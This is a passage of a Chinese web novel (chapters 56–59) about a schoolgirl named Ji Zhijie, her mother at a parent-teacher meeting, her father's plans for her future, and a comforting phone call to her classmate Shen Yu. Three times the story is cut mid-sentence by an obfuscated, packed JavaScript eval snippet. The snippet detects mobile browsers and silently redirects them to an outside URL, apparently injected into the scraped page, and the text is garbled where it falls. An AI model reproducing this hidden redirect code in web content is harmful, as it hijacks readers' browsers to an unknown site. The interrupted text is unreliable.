“哪有,你们家知知英语不也是很好吗?我听沈瑜说,知知经常教他写英语啊,多厉害啊。” “而且你家知知多贴心啊,这个头发编的,太好看了。” 知知? 沈瑜神色不明地看了一眼已经聊上头的王清云,简单二字在舌尖转了一圈。 刚刚还在问我她是谁现在就叫知知了,虚伪的大人。 王清云自然不知道自家好儿子在心里腹诽着什么,只觉得和柳明霞一见如故。 “哎呀我们进去坐着聊,我跟你讲哦,沈瑜这小子……” 王清云拉着柳明霞就往教室里面走,完全不管还在一旁站着的儿子,满心都是刚认识的好姐妹。 季知节竖起耳朵,却没有听见“沈瑜这小子”的后文,就对上了一道似笑非笑的目光。 “那么想听我妈骂我嘛?” 沈瑜靠着走廊的墙壁,略带笑意的声音响起,眼里满是揶揄。 季知节目光游移了一秒,随即正色道:“你怎么可以这么想阿姨呢,阿姨肯定不会骂你的。” 沈瑜似乎很是赞同,他点了点头,“只会把我从小到大的糗事说一遍而已,毕竟我可没有知知贴心。” 什么? 季知节神色一顿,目光不由聚焦在了男孩脸上,一双圆眼里面是清晰可见的惊讶。 发觉不小心把心里念过的名字说了出来,沈瑜清了清嗓子,想要开口转移话题。 但对上女孩的目光,沈瑜忽然一句话也不打算说了,故作镇定地看向了教室里面,如果不看泛红的耳尖,大有一副破罐子破摔的样子。 仿佛在说,对,我早就想叫你知知了。 知知对于季知节来说是个再熟悉不过的称呼,毕竟名字只有三个字,小季更像是上下级的称呼,节节一个念不好又很容易变成弟弟妹妹,所以大多时候,知知才是最常用的小名。 张镜这么喊、于落落这么喊、爸爸妈妈也这么喊,还有许许多多的人。 但是季知节从没想过会在沈瑜嘴里听到这两个字。 略带亲密的,有些调笑意味的,知知。 季知节后知后觉地也有些红了耳尖,同样望向了教室内。 “啊。” 季知节看向已经和王清云于婧琳开始聊天的柳明霞,突然发出了一阵短促的惊叹声。 “怎么了?” 沈瑜偏头,看向了明显喜悦起来了的女孩。 季知节指了指教室内搭在椅背上的黑色外套,眼睛里绽放出充满喜悦的光。 “我妈妈的裙子好看吗?” 女孩笑得几乎要眯起眼睛,言语里是无法忽视的雀跃。 沈瑜看了一眼季知节口中的裙子,语气认真,“非常好看。” 56. 第 56 章 “我的妈妈是个很普通的人。” 教室内家长悉数落座,李化腾站在讲台上做着自我介绍,在一阵热烈的掌声中,季知节看了一眼那个犹如学生般正襟危坐的女人,忽然开口道。 家长会步入正轨,教室外的学生结伴离开,季知节步伐晃悠地跟在于落落身后,手指时不时玩一下女孩的头发。 于落落像小狗一样甩着头发,没把季知节作乱的手指甩开,反而把自己晃晕了,牢牢扶住旁边的张镜,于落落一脸凶狠,嘴上却还是回应着女孩的话。 “我们不都是普通人嘛。” 季知节看着于落落哈哈一笑。 “对啊,我们都是普通人而已。” 走廊外的天空澄澈明朗,不知生长了多久的树木撑起一片绿荫,树荫下的石凳上聚集着三三两两的人群,偶然爆发的欢笑让人愉悦。 季知节挽住两人的手臂,笑着开口:“但我曾经,告诉自己打死都不要成为我妈妈那样的人。” 于落落一愣,看向旁边的女孩。 季知节神色自然,似乎只是在说着不值一提的小事。 “叛逆期吗?” 张镜空着的手敲了敲女孩的脑袋,语气淡定。 “不是哦。” 20多岁的年纪怎么能叫做叛逆期呢。季知节失笑。 “是生活不如意之后,把自己的无能归结到身边之人的迁怒吧。” 一中有一座巨大的紫藤花架,每年四五月份的时候,淡紫深紫的紫藤花爬满木头,地面扑满掉落的花瓣,甚至花架下的长椅也有星星点点的花。 站在睽违已久的花架下,季知节看着空荡荡甚至有些荒凉的角落,随手拍了拍椅子上的灰尘,拉着于落落和张镜坐了下来。 “我妈她相当听我爸的话。” 季知节双手靠后撑在椅子上,微微仰起的头把孤零零的枝桠收入眼底。 “应该也不能说听我爸的话吧,毕竟他们吵架也蛮多的。” 想起家里时不时爆发的争吵,季知节无奈一笑。 “但是一旦涉及到我、涉及到所谓的大事,我妈就把我爸的话奉为圭臬。” “好像也不止。” 季知节晃了晃腿,“我妈身上那条裙子应该是我妈很早挑中的了。我在她购物车哐哐哐往下划了好久才看见的。” 女孩神情夸张地做出手指不断滑动屏幕的动作,有些唉声叹气。 “我知道她很喜欢的。” “从买回来那天到现在,哪怕没场合穿,她也没想着退货。” “所以我昨晚上给她发消息说,今天可以穿了。” 张镜看着情绪明显有些奇怪的女孩,抿了抿嘴。 “所以你说今天如果看见你妈妈的话,让我们多夸夸她是吗?” 季知节轻轻点了点头,有些无奈般笑了。 “我用膝盖想都知道肯定是我爸说了什么不合适她的话,所以她今天套了个锅灰一样的外套。” 季知节撇了撇嘴,言辞间满是抱怨。 “我只是想让她更有自信一点而已。” 女孩喃喃自语道,“明明她也曾经是个很自信的人啊。” 季知节想起曾经翻到过的相册,泛黄的相纸上,女人的白色吊带和低腰牛仔裤在蔚蓝色的大海前熠熠生辉,眉眼间飞扬的光芒比海面上的波光还要耀眼。 “那你讨厌你爸爸吗?” 于落落忽然开口问道。 “……不知道。” 沉默良久,季知节踩了踩地上的泥土,言语间满是迷茫。 应该是讨厌的。 季知节想。 那是一个几乎集所有坏毛病于一身的男人。他自大,擅长对一切事情发表见解,从人文到历史;他独断,对认定的事情听不见一点意见;他暴躁;喜欢骂人,喜欢和妈妈吵架;擅长泼冷水,极少称赞人,会打消一切分享欲。 怎么能不讨厌呢。 但真的只是讨厌吗? 无法否定,优渥的成长环境,几乎是有求必应的态度,以及再忙碌,但一旦接到老师的电话就会赶到学校的行为;家里医药箱不曾间断的膏药和从未开口说过的疼痛。 “60分而已。” 季知节慢慢开口道。 “嗯?什么60分?” “我爸这个人,饰演的丈夫和父亲这个角色。” —— “要表扬的除了以上这些同学之外,还有季知节同学。” 李化腾把视线投向柳明霞的方向,言语中包含笑意。 “首先在学习方面,季知节同学从开学以来一直都在进步,各科老师都反映季知节同学的作业十分认真,从平时的小测验到第一次月考到这次的期中考都能看出来季知节同学一直都很努力,哪怕不是很擅长的数学也有所进步,在擅长的英语学科更是发挥出色,这次更是整个年级段唯一一个149分。” “班级排名也从上次的第十名升至这次的第五名,年级排名更是冲进了年级前五十。” 看着讲台下的家长,李化腾不由轻笑一声。 “此外季知节同学还是一个品性非常优秀的学生,她关爱同学,尊敬师长,勇敢坚强。我很自豪有这样的学生。” 讲台上的班主任嘴里满是夸奖的话,后方的王清云忽然带头鼓起了掌。 就这样,柳明霞被淹没在了掌声的海洋里。 “这个季知节是不是就之前在体育课上救了个小孩的姑娘啊。” “好像是吧,我家姑娘之前回来都吓哭了,说还好有这么个人,不然就完了。” “这小孩成绩还这么好啊,真是不得了啊!” 掌声夹杂着隐隐约约的讨论声冲进了柳明霞的耳朵,女人有些局促地站起身来,微微鞠了个躬。 “是李老师教育的好,多亏了李老师。” 站起身的女人一身靓丽的新中式长裙,脑后优雅的盘发更增添了一股韵味,脸上是藏不住的笑意。 “这不是刚刚在外面梳头发的那个嘛,她女儿就是季知节啊。” “她头发也是她女儿梳的啊!” “乖乖,我女儿要是有这样我做梦都能笑醒啊。” 议论声逐渐变大,不知不觉变为视线中心的柳明霞不由挺直了背,顺手抚平了裙子上的褶皱。 无论是真心的感叹还是附和的话语,都让柳明霞内心的骄傲如泼了汽油的火焰一般节节升高。 还好穿了新裙子。 还好我嫌热没继续穿着那个锅底灰一样的黑外套。 那个丑外套配不上我女儿的高光时刻。 柳明霞满脸笑意地收下了所有的夸奖,心里暗自庆幸。 —— “那你给你妈妈打多少分啊?” 于落落学着季知节的样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823221|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子把手撑在后面,寻找着枝桠中透出来的蓝色,试探道。 “作为妈妈的话,80,不85分吧。” 季知节晃晃脑袋,有些犹豫,“如果她进我房间之前能多敲敲门我会给她加五分的。” “这么高的分吗!”于落落挤眉弄眼,“我下次看见叔叔我要和他说你觉得他好差劲的。” “你是厨师吗搁这添油加醋呢。”季知节没好气地瞪了一眼于落落,“小心我揍你啊。” 于落落嘿嘿一笑。 “那作为阿姨这个人呢?” 张镜低垂着眼睛,忽然开口道。 季知节一愣,“什么?” “你的前提是作为妈妈吧,那前提换成阿姨本人呢?” 张镜看向了季知节,镜片后的眼睛一眨不眨地盯着女孩,似乎固执地有些过了头。 季知节眨了眨眼,语气中带着自嘲。 “因为有我,所以作为柳女士,她只能有55分吧。” “当我认识柳女士的时候,她就是我妈妈了。但我认识的她和我外公外婆眼睛里的好像不是同一个人。似乎是我的存在让我妈妈变得满心满眼都是我,而不再是她自己本身。” “因为养育我,妈妈身材走样无法再穿以前那样的衣服;因为要操心我,所以生活中除了工作就是我;因为无法放弃我,所以和爸爸吵得再激烈也无法离婚;因为成了我的妈妈,所以无法再单纯地作为柳女士活着,而是变成了季知节的家长,甚至在某些场合,连姓都变成了季。” “我并非觉得母爱就一定比父爱伟大,只是在我看来,在我父母的这场婚姻里面,我的妈妈要付出地更多一点,因此我总忍不住希望她更开心,更肆意一点。” “如果有一天,她能单纯的因为今天天气很好而穿上一条漂亮的裙子,我会给她加到100分的。” 季知节抬头看向还光秃秃的藤条,深深吸了一口气,似乎已经闻到了紫藤萝的香气。 “如果她做不到也没关系,我会给她买许多漂亮的裙子,因为是我买的,她一定会穿的。” “有一种恃宠而骄的意味啊。” 于落落的脑袋轻轻碰了一下季知节的头,语气调笑。 “我们霸道总裁是这样的。” 季知节哼哼一声,“管她穿不穿,我给她买一堆总会穿的。” “那你可真是个优秀的好女儿啊。” 张镜推了推眼镜,相当自然地靠在了女孩的肩膀上。 “你是在阴阳怪气吗?” 季知节扯了扯张镜的发丝,语气诚恳。 “我们镜子是这样啦,说什么都像是在嘲讽人啦,所以你要和我天下第一好哦。” 于落落暗戳戳地上着眼药,在季知节耳边嘀嘀咕咕。 “好浓一股绿茶香啊。”张镜鼻尖动了动,“谁请你喝茶了吗?” 看着两位美人争宠的模样,季知节挥手一揽,相当豪横地把两人圈在怀中,像个皇帝般左拥右抱。 “都是朕的心尖尖,别吵了。” “……呕。” “……呕。” 季知节一把就推开了两人,俨然一副被伤透了心的模样。 笑声在小小的花架下弥漫开来,季知节笑着揉了揉脸。 “如果,我能让我妈感到自信就好了。” “一定会的。” “没错。” 57. 第 57 章 季知节并不觉得自己是个超级英雄,更不觉得自己能改变他人的命运或者生活,即使这个人是自己的妈妈。 但正因为这个人是自己的母亲,季知节才会想着做一个超级英雄,哪怕只是改变一点点也是好的。 “你是不知道,今天家长会知知被夸成什么样了。” 柳明霞对着一桌子菜无动于衷,眉飞色舞地向季红卫说着家长会上的见闻。 “结束之后还有好多家长来找我聊天,还问我怎么培养小孩的,哎呦,我都不知道怎么说。” “还有你看我的头发,也是知知编的,好多家长都夸好看。” 下午编好的头发到现在已有点松散了,不过并不妨碍柳明霞满心满眼的欢喜。 女人的眼里似乎闪着光,而光的源头,是季知节。 女孩端着碗一脸餍足,“那不得是我妈教得好啊。” “哎呀,你嘴怎么这么甜啊。” 柳明霞顺手敲了一下女儿的脑袋,咯咯直笑。 一口米饭卡在喉咙里差点哽住,季知节急忙咽下米饭,露出一抹乖巧的笑容。 看着明显在卖乖的女儿和开心得找不到北的妻子,季红卫也没忍住扯出一抹笑,眼角的细纹在笑容里漏出一角,在暖黄色的灯光里格外柔和。 “这次考得确实不错啊,要继续保持知道不。” 季红卫从半只烤鸭里夹出唯一一只鸭腿,放到季知节碗中,语气相当满意。 “但是你也不能骄傲,人一旦骄傲,就会退步,还会变得看不清出周围……” 季知节戳了戳鸭腿,又看了看口若悬河的父亲。 大棒加枣。 多么令人熟悉又畏惧的模式。 不过我也太好忽悠了吧,熟食店里三十块钱一盒的半只烤鸭就可以了嘛,甚至还只是里面的一只腿啊。 季知节捏着筷子熟练地撕下酥皮,满足地塞进嘴巴里。 好吧,我就是好这一口。 “行了行了少说两句,吃饭就好好吃饭。”柳明霞瞟都没瞟一眼季红卫,又一筷子夹了块烤鸭给女儿,“别光吃皮啊。” “这可是精华!” 季知节举起筷子抗议,“烤鸭就是为了吃皮!” “三十块钱里面就十块钱是皮。” “我喜欢那就是三百块!!” 眼看着对话越来越没有意义,季红卫摇头叹息,忽然想起什么,开口问道:“你以后是想当医生吗?” “啊?”季知节夹菜的动作几不可见地一顿,“没有啊,干嘛这么问。” “你不是还去学了急救吗,你不想当医生学什么急救啊。” “就不能是我想要多学一点技能嘛,指不定什么时候就用上了呢。”季知节说得理所当然。 “其实当医生也挺好的,家里人生个病什么的还能帮帮忙。” 那是家庭医生吧。 “之前你爷爷生病住院的时候,我们要是有个认识的医生也不至于床位都搞不到。” 医生也不能把别的病人从病床上撵下来吧。 “你妈妈的颈椎也有人能帮忙看看了。” 所以是要当骨科医生吗,那我可能现在就得开始健身了,我连单手开易拉罐都不能百分百成功。 “感冒都不用去医院了。” 所以到底是要学骨科还是内科啊。 短短几分钟里,季红卫显然已经陷入美好的未来不可自拔,在这个未来里,季知节成为了一名德高望重的医生,除了在家有“实用价值”之外,在外没准还兼具“时尚价值”。医生的父亲,谁说不是出门在外可以炫耀的时尚单品呢。 不过这个臆想中未的来似乎并不需要季知节的参与,季知节捏着筷子认真回想了一下刚刚的回答,确认了一下说出口的的的确确是“没有”,而非“我想当医生”。 谁说父母不是理想主义,这不明明比谁都敢想。 季知节三两口扒拉完碗中的饭,饭还没咽下去就扔了个炸弹。 “我不想学理,也不想当医生。” 爆炸范围极小,就目前看来只波及到了季红卫一人,爆炸效果也不尽如人意。 季红卫笑得不甚在意,似乎相当大度地在面对一个无理取闹的孩子。 “哪有那么多你想就能做的事情啊,医生不是挺好的,你还小,等你以后就懂了。” 那还真是不好意思啊,我两辈子加起来也快年过半百了。 季知节只觉得自己的吐槽功力实在见长,在心里默默感谢了一下张镜的耳濡目染,季知节爽快开口:“爸我想买东西。” “行,一会儿给你转钱。” “季老板大气!” 季知节竖起大拇指不走心地称赞着眼前的男人,心里暗暗给自己点赞。 小孩子才会在这种时候反驳,我们邪恶的大人一般只会给自己捞好处。 银行卡转账的通知声比饭桌上的唠叨动听一百倍,季知节潇潇洒洒地回到了自己的房间。 就像登山一般,在山脚下的人虽然距离山顶的最远,但于此同时她能走的路、能前进的空间更大,会向往高处所见到的风景,是不是真如杜甫所说“一览众山小”那样的豪迈壮阔,然后她就开始往上爬。出发伊始总是充满动力的,背着充足的补给,带着无畏的勇气,她来到了半山腰。半山腰的风景也相当不错,能向下俯瞰过往,能向上远眺未来。她忍不住想着,山腰的风景都是这般绝色,那么山顶呢,是不是更美啊? 于是她继续爬,逐渐升高的海拔、越来越崎岖的道路、和山顶越来愈小的空间,都让她知道前进并不是一件那么简单的事情,山顶的空间有限,能容纳的人屈指可数,想攀登至最高点的人太多,她不过是沧海一粟。没有出色的天赋,没有傲人的资本,找不到捷径的她只能凭借意志和努力满满往上爬。 平板电脑上记录着大大小小测验的分数以及成绩走向图,季知节看着总体走向逐渐趋于平稳的折线,久违的焦虑又涌上心头,期中考试的成绩出乎季知节的意料,班级第五,年级47,这是季知节从未达到过的成绩。 在一中,五十名是一个分水岭,年级排名在前五十基本上是一只脚踏入了C9的大门,如果能保持住,甚至能冲击一波TOP3,这也是为什么一中是整个城市所有家长孩子都向往的学校。在这所学校里,像季知节那样高考结束之后勉勉强强过了个一本线的人才是另类。 偶尔达到的成绩似乎已经是极限了,能不能保持住成了一个大问题,可即使能保持住就可以了吗? 前五十名的世界就如同神仙打架,各路神仙大显神威,此时一个凡人悄悄路过,在一众绚丽的特效和bgm中,凡人空白的背景显得格格不入。 叹息在小小的房间内响起。 三秒。 季知节心想。 三秒就好,三秒之后又是一条好汉。 游戏里复活都得等CD,我卡个三秒忧郁一下不过分吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841028|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大不了背着氧气罐吸一口气,走一步路就是了,那可是山顶啊,谁不想上去看看呢。 上辈子没见过的景色,这辈子怎么都要去看看吧。 要说自信,其实并没有多少,清大京大那种TOP3的学校即使想去,季知节也深知希望渺茫,但尝试之后的不可以和还未尝试就放弃是两码事,主动的选择和只是被选择的客体更是两种感受。 现在才高一,还有时间,还有余地去选择,去尝试。哪怕现在还不知道做什么,但是起码知道了不想做什么,往近了说,高二分科时不想学理,往远了看,千千万万种职业中,能很明确地知道自己不想当医生和护士。 那么现在能做什么呢? 不是和父母争吵着我不想学理,而是在分科之前储存足够的资本,等到分科来临,堂堂正正告诉他们,我的成绩就是可以支撑我的任性,哪怕不是学理,我也能为我的未来负责。 这也是季知节能想到的,在不爆发争吵的情况下,最好的方法。 整理好桌面,简单梳理好后面几天的计划,季知节打开课本,深吸一口气,开始为自己打造能和神仙搏斗的武器。 —— “你成绩比上次要退步了一点啊。” 王清云一向信奉饭前不训子,但是这并不意味着沈瑜能躲过这顿说教。 饭后,王清云拉住想要往房间里面钻的儿子,坐在沙发上一脸严肃。 沈瑜坐在单人沙发上一声不吭,垂着眼睛听着母亲的唠叨。 不远处的厨房水声哗哗,沈琼看了一眼在水池前洗碗的父亲,脚下丝滑地转了个方向,目的地从房间改成了母亲身边的位置。 “你不能总想着弹琴玩音乐,你现在的主要任务是读书。” 王清云看了一眼默不作声的男孩,眼里闪过一丝怒气,“早知道这个样子,我小时候就不该送你去学琴。” 华丽精致的吊灯把光芒送至客厅的每一个角落,可光芒之下的阴影也逐渐滋生,沈瑜死死盯着脚下的地板,紧抿的嘴唇像是被封住的口袋,其用力之重似乎是在害怕着有什么不该说出口的话会不自觉脱口而出。 “就是啊,你不能天天弹啊,你得多看看书。”沈琼乖巧地坐在王清云身边,嘴上附和着母亲的话,手里也没停,一双手仔细地按摩着王清云的肩颈,笑得格外乖巧。 “你还好意思说,要不是你在后面阳奉阴违的,他早就不玩了。” 舒适的力道让王清云放松了神色,却也不忘对着女儿抱怨。 “您这话说的,我可是站老妈你这边的哈,你不要污蔑我的诚心。” “你最好是啊。” 王清云点了点右边的肩膀,沈琼十分懂事地移到了右边,慢慢加重了力道。 “小玉这次考了多少名啊。” “班级第七,年级第六十。” “这不还可以嘛,这不比我当初好多了,数学呢,怎么样?” “数学考得倒是不错,147。” “相当可以了,没丢数学课代表的面子就行,能把数学学这么好非常厉害了,我们家就属小玉数学最好了。” “这倒是,不过我跟你讲哦,我以前数学也很不错的,我感觉就是遗传了我的……” 眼看着王清云逐渐回想起过去的辉煌,沈琼连忙向沈瑜使了个眼色,成功接收到信号的男孩静悄悄起身,一溜烟就跑了个没影。 客厅只剩下对往日的回忆和沈琼时不时的附和。 58. 第 58 章 “老妈放过你了?” 舒适的人体工学椅不断后倾,靠在椅子上的沈瑜掀起眼皮看向沈琼,低声问道。 “勉勉强强喽。” 沈琼耸肩,满不在乎地回答道。 “下次妈妈骂我你不用掺和的,以免你也挨骂。” 桌面上的作业书本堆积成山,是房间里难得出现的凌乱,沈瑜转过身,椅子挡住了男孩的神情,沈琼无法窥见哪怕一丝一毫。 沈琼站起身,走到沈瑜的工作桌前,仔细打量着桌面上摆着的MIDI键盘。虽然家里有一架钢琴,但是沈琼并不了解这种乐器,即使知道摆在房间的这个“电子琴”和外面的立式钢琴一定有区别,也并不清楚区别在哪。 琴键黑白分明,但在沈琼烟眼里还没盐和白砂糖容易区分,高音区、低音区更是天方夜谭。沈琼只是站着看着,并不去触碰,因为沈琼知道,这是沈瑜的天地,有着沈瑜的规则。 “如果就像老妈说的那样,小时候没让你学钢琴,你还会这么喜欢音乐吗?” 就如万千家庭一样,沈家父母热衷于让孩子德智体美劳全面发展,沈琼小时候学的就是芭蕾,但练了三节课基本功之后,沈琼就哭着被王清云带回了家,芭蕾计划胎死腹中。 而一开始只是为了给沈瑜陶冶情操的钢琴课却成了王清云迄今为止最后悔的决定。 “会。” 沈瑜的声音微小而坚定。 “只要世界上还有音乐,只要我还能听见,我就不可能如她所愿。” 沈瑜的决心裹挟着回忆冲进沈琼的大脑,女生扑哧一笑,“老妈听到会打死你的。” “打死算了,打不死我就赚了。” 沈瑜嘴硬,言语间皆是置气的意味。 “我喜欢音乐本来就是或早或晚的事情,老妈她不过是加快了这个进度而已。” 沈琼小心地靠在工作桌旁,检查着衣角有没有碰到沈瑜的这些“宝贝”,这个角度只能窥见沈瑜的侧脸,但男孩的脸上带着倔强的神色,哪怕看不见整张面容,沈琼也知道少年内心的不服气和难受。 “但是你要知道,就像妈妈说的那样,音乐就是很难让你生存下去,你有天赋,但你的天赋到底到达了何种地步,没有经验的我们无法估计,妈妈只是担心你。” “……” “咔嚓。” 沈瑜按住按动笔,低垂着眼睛不肯说话。 沈琼抿了抿嘴,面露不忍,却还是说出了口。 “你是天才吗?你能保证你确确实实能靠音乐吃饭吗?” 狭小的空间似乎让人更容易听见各种声音,比如自己的心跳和艰难的吞咽声。 “……我不能。” 沈瑜哑着嗓子,几乎要把头低到书桌上,往日里清瘦挺拔的脊背似乎压上了不可承受的重量,能肆意在黑白琴键上飞舞的手指紧握着按动笔,修剪整齐的指甲在掌心掐出几个泛白的月牙。 “我并不是希望你不碰音乐,我只是觉得答应妈妈的事情你应该做到,比如平时不去写歌,比如成绩要弄好。” 沈琼有些犹豫地把手轻轻搭在男孩的肩膀上,安慰一般拍了拍,“我是站在你这边的,我也希望我的弟弟能够做自己想做的事情。” 沈瑜依旧不吭声。 似乎是有些难以面对满室的寂静,沈琼逃也似的走向了门口。 有些冰凉的门把手不由让沈琼指尖一跳,正打算一鼓作气打开门的动作被身后传来的声音打断。 “姐。” 沈琼回过头。 有些冷白的台灯照在沈瑜脸上,略微泛红的眼睛在灯光下格外明显,少年的脸上挂着有些疲惫的笑。 沈瑜轻轻开口道:“年级六十名的成绩,很差嘛?” 当然不差,无论是哪个学校,年级六十名都算不上是很差的成绩,更何况是一中,而两次考试都能稳定在一中年级前一百虽然算不上天之骄子但也担得上一句未来可期。 那为什么,我们要这般责备沈瑜呢? 沈琼有些恍惚地想着。 “你站在沈瑜门口干嘛呢?” 客厅里传来的声音打断了沈琼的思绪,王清云捧着一杯水打量着魂不守舍的女儿,警惕道:“你该不会又和你弟达成什么共识了吧,我可告诉你啊,你要是再敢给你弟买那些东西,我就把你俩打包都丢出去!” “哪有!我是去帮你骂他了!” 沈琼立刻大声道,端的是一派义愤填膺的模样,可只有掌心里不知何时渗出来的汗水才知道她心里想的到底是什么。 门板上的隔音很好地阻隔了客厅的声音,可无论有没有这层隔音,沈瑜都知道外面在说着什么话。 桌面上摊开的作业一页也未曾翻过,椅子上的男孩犹如木头一般一动不动,呆呆地坐着。 好安静啊。 沈瑜脑子里忽然冒出来这样一个念头。 安静本该是一间工作室最该具备的条件,可这里不是工作室,这只是沈瑜无法在这个家单独置办一间工作室之下的无奈之举,不算昂贵但是已经是沈瑜选择范围内最好的设备摆在离书桌不过一步之远的位置,三步开外就是勉强能睡下的床铺,床头柜上学着歌词的草稿纸即使收拾得再规整也和旁边的抽纸格格不入。 生活的痕迹、学业的压力、梦想的挣扎。 在小小的空间内几乎压得人喘不过气,目光所及之处不是成堆的作业书本就是不被认同的未来,似乎一点落脚休息的地方也没有。 微妙的后悔忽然涌上心头。 早知道不把房间改得这么乱七八糟了。 沈瑜心想。 像是刻意般避免了多余的思绪,不去考虑如果不改成这样那要在哪里写歌的事实,只是一遍又一遍地重复着这个想法,似乎这样就能给心中的后悔按上一个合乎情理的动机。 “嗡——” 手机的震动声像掉入水中的石子,在犹如死水一般的海面炸起一层涟漪。 桌角上摆着的小小的三寸屏幕亮了起来,沈瑜的目光有了落点。 手机打开的隐私模式看不清是谁发过来的消息,只看到一条横幅突兀地横亘在锁屏上。 然后,屏幕暗了下去。 公众号吗? 沈瑜有些慢半拍地想到。 伸出去的手拿起手机,还没等解锁屏幕,一条语音通话的申请就跳了出来。 “Youraisemeup (你激励了我) SoIcanstandonmountains (故我能立足于群山之巅)< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856390|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> Youraisemeup (你激励了我) Towalkonstormyseas (故我能行进于暴风雨的洋面)……* ……” 熟悉的歌声带着意料之外的头像冲进沈瑜的视野,沈瑜眨了眨眼,还没反应过来,手却已经按下了绿色的按钮,接着举起手机放在了耳边。 “……” 通过手机有些失真的呼吸声预示着两边的手机都没什么问题,也明明白白地说明这通电话确确实实是打通了。 可没有一个人出声。 季知节有些懊悔地绕着发丝,几乎是想穿越回一分钟之前阻止那个有些莽撞的自己。 可忙碌的神明大人能把女孩送回十年前,却不能再次把人送回一分钟之前,毕竟心愿太多了,显然还没有批阅到这里。 “……你的铃声挺好听的哈。” 季知节有些干巴巴地挑起话头,说完又想捂脸。 没话找话地太明显了! “是嘛,我也这么觉得。” 沈瑜的声音听起来毫无异样,甚至还带着细微的笑意,似乎一切如往常一样。 季知节缠绕发丝的手指一顿,拇指不由失了力道,还有些弯曲发丝没了压力争先恐后地从食指上弹开,轻轻落在胸前,和其他头发融为一体。 这通电话是情急之下的产物,毕竟任谁收到朋友姐姐的sos信号都不会无动于衷。 ——【我刚刚对沈瑜做了一些不好的事情,我感觉他可能快哭了,我有点不知道该怎么面对他了,你能不能帮我打探一下,求求你了。】 发出去试探的消息没回,又想起沈琼原话中“快哭了”几个字,季知节头脑发热之下一通电话打了过来,本有些后悔的心情此刻完全被庆幸占据。 还好打了电话。 女孩不由自主的想。 这不明显不对劲吗。 可即使心里这么想,季知节也没有直白地说出口。 “这首歌叫什么名字啊,Youraisemeup吗?” 季知节放轻了声音,略有些好奇地问道。 “对,你听过吗?” 沈瑜靠在椅子背上,闭上了眼睛。 视觉的失去让听力更加敏感,小小的手机里女孩的声音像水一样包裹着自己,沈瑜恍然觉得有些心安。 “没听过诶,但是刚刚几句歌词里面这句话出现得最多,总感觉像在点题一样。” “像写作文是嘛。” 沈瑜似乎是理解了女孩想说的,语调轻快地调侃道。 “对啊对啊。” 季知节疯狂点头,可点完头才发现这是语音通话,对方看不见自己点头的动作,做贼般止住了有些傻的自己,轻咳一声。 “这首歌确实是叫Youraisemeup,你很会抓重点啊。” 沈瑜似乎是没听见季知节奇奇怪怪的动静,笑着开口道。 “一般一般啦。” 季知节语气飞扬,哪怕看不见脸,沈瑜也能想像出来女孩一脸自得又臭屁,还想做出一副谦虚模样的可爱。 沈瑜无声轻笑,却也很快开口直击重点。 “怎么会想到给我打电话啊?我姐和你说什么了吗?” 59. 第 59 章 因为有数学题想问你。 因为想问一下今天的作业是不是漏记了。 因为想找你聊天。 …… 或真或假,或完美或拙劣的借口,季知节能一瞬间想到好几个,但是最终全都被驱逐出脑海,女孩叹了口气,认输一般直白道。 “因为担心你。” 季知节说不上是泪失禁的体质,但她确实情绪敏感,尤其是小时候,动不动就哭,也没少为此挨打。 挨打就会疼,疼就会哭,哭就会继续挨打。 这是一个非常痛苦的恶性循环。 大人们总说这有什么好哭的,甚至还抱怨孩子的软弱。可对于孩子而已,即使是一颗糖的归属,那也是天大的事情。 哭好像变成弱者的标签,变成了不敢宣之于口的脆弱。承受眼泪最多的不是纸巾,而是静悄悄的夜晚,关着灯的房间以及被动接收着一切的枕头。 季知节告诉自己要以平常心对待每一滴眼泪,无论是他人的,还是自己的。哭其实是一件很常见的事情,情绪翻涌之间,泪水就是最好的排解。 所以这其实并没有什么大不了。 何况沈瑜也只是看起来要哭了。 可那滴不知是否存在的眼泪似乎跨越了十几公里,就这么横冲直撞地、炙热地,落入了季知节心底,成为不可明状的驱动力,操纵着女孩按下了通话键。 沈瑜没哭。 可还不如哭了。 从沈琼发消息到她电话打通不过几分钟而已,可偏偏话语里没有丝毫异样,无外乎此人生性冷情,丁点儿不在意所遭受的一切,要不然就是已经习惯将一切的情绪碾碎了往肚子里吞,而沈瑜,能写出那么多首戳人肺腑的歌的男孩,又怎么可能是前者。 担心? 沈瑜忽然觉得自己的耳朵似乎有些不灵光了,不然怎么会听到这样一个词语,他有什么好担心的,谁还没被家长骂过呢,不过是家常便饭罢了。 可偏偏这两个字就像一粒种子一样,悄无声息埋进了心里,时不时挣扎着想要破土而出,彰显着自己的存在感。 